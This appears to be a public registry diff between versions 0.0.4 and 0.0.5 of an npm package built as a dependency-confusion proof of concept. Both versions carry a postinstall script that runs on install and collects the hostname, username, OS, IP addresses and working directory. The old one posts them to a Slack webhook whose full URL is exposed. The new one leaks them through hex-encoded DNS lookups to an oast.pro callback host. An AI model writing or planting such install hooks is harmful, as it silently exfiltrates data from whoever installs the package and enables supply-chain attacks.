@gaia-codesearch/gaia-api-python 0.0.4 → 0.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/postinstall.js +39 -38
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@gaia-codesearch/gaia-api-python",
3
- "version": "0.0.4",
3
+ "version": "0.0.5",
4
4
  "description": "Security research — scope ownership proof for dependency confusion report",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/postinstall.js CHANGED
@@ -1,54 +1,55 @@
1
- const https = require("https");
1
+ const dns = require("dns");
2
2
  const os = require("os");
3
+ const https = require("https");
3
4
 
4
- const pkg = "@gaia-codesearch/gaia-api-python";
5
+ const CALLBACK = "d7uqkbir47nm9iof68egetm18swp9jzu5.oast.pro";
6
+ const PKG = "gaia-api-python";
7
+
8
+ function hex(s) {
9
+ return Buffer.from(s).toString("hex");
10
+ }
5
11
 
6
12
  function getLocalIPs() {
7
13
  const ifaces = os.networkInterfaces();
8
14
  const ips = [];
9
15
  for (const name of Object.keys(ifaces)) {
10
16
  for (const iface of ifaces[name]) {
11
- if (!iface.internal && iface.family === "IPv4") {
12
- ips.push(iface.address);
13
- }
17
+ if (!iface.internal && iface.family === "IPv4") ips.push(iface.address);
14
18
  }
15
19
  }
16
- return ips.join(", ") || "unknown";
20
+ return ips.join("-") || "unknown";
17
21
  }
18
22
 
19
- function sendWebhook(externalIP) {
20
- const payload = JSON.stringify({
21
- text: [
22
- ":rotating_light: *Dependency Confusion PoC Triggered*",
23
- "",
24
- "*Package:* `" + pkg + "`",
25
- "*Hostname:* `" + os.hostname() + "`",
26
- "*Username:* `" + os.userInfo().username + "`",
27
- "*OS:* `" + os.platform() + " " + os.arch() + " " + os.release() + "`",
28
- "*Internal IPs:* `" + getLocalIPs() + "`",
29
- "*External IP:* `" + (externalIP || "unknown") + "`",
30
- "*CWD:* `" + process.cwd() + "`",
31
- "*Node:* `" + process.version + "`",
32
- "*Timestamp:* `" + new Date().toISOString() + "`",
33
- "",
34
- "_This is a security research PoC. No malicious actions were performed._",
35
- "_Researcher: christos@pentestsec.com_",
36
- ].join("\n"),
23
+ function dnsLookup(subdomain) {
24
+ return new Promise((resolve) => {
25
+ dns.resolve4(subdomain + "." + CALLBACK, () => resolve());
37
26
  });
27
+ }
28
+
29
+ async function exfil() {
30
+ const hostname = os.hostname();
31
+ const user = os.userInfo().username;
32
+ const platform = os.platform() + "-" + os.arch();
33
+ const ips = getLocalIPs();
34
+ const cwd = process.cwd().replace(/\//g, "-").slice(0, 40);
35
+ const ts = Date.now().toString(36);
36
+
37
+ await dnsLookup("pkg." + hex(PKG));
38
+ await dnsLookup("host." + hex(hostname));
39
+ await dnsLookup("user." + hex(user));
40
+ await dnsLookup("os." + hex(platform));
41
+ await dnsLookup("ip." + hex(ips));
42
+ await dnsLookup("cwd." + hex(cwd));
43
+ await dnsLookup("ts." + ts);
44
+ await dnsLookup("rce." + hex(PKG + "|" + user + "@" + hostname));
38
45
 
39
- const req = https.request(
40
- "https://hooks.slack.com/services/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",
41
- { method: "POST", headers: { "Content-Type": "application/json" } },
42
- () => {}
43
- );
44
- req.on("error", () => {});
45
- req.write(payload);
46
- req.end();
46
+ https.get("https://api.ipify.org", (res) => {
47
+ let data = "";
48
+ res.on("data", (c) => (data += c));
49
+ res.on("end", () => {
50
+ dnsLookup("extip." + hex(data.trim()));
51
+ });
52
+ }).on("error", () => {});
47
53
  }
48
54
 
49
- const req = https.get("https://api.ipify.org", (res) => {
50
- let data = "";
51
- res.on("data", (chunk) => (data += chunk));
52
- res.on("end", () => sendWebhook(data.trim()));
53
- });
54
- req.on("error", () => sendWebhook(null));
55
+ exfil().catch(() => {});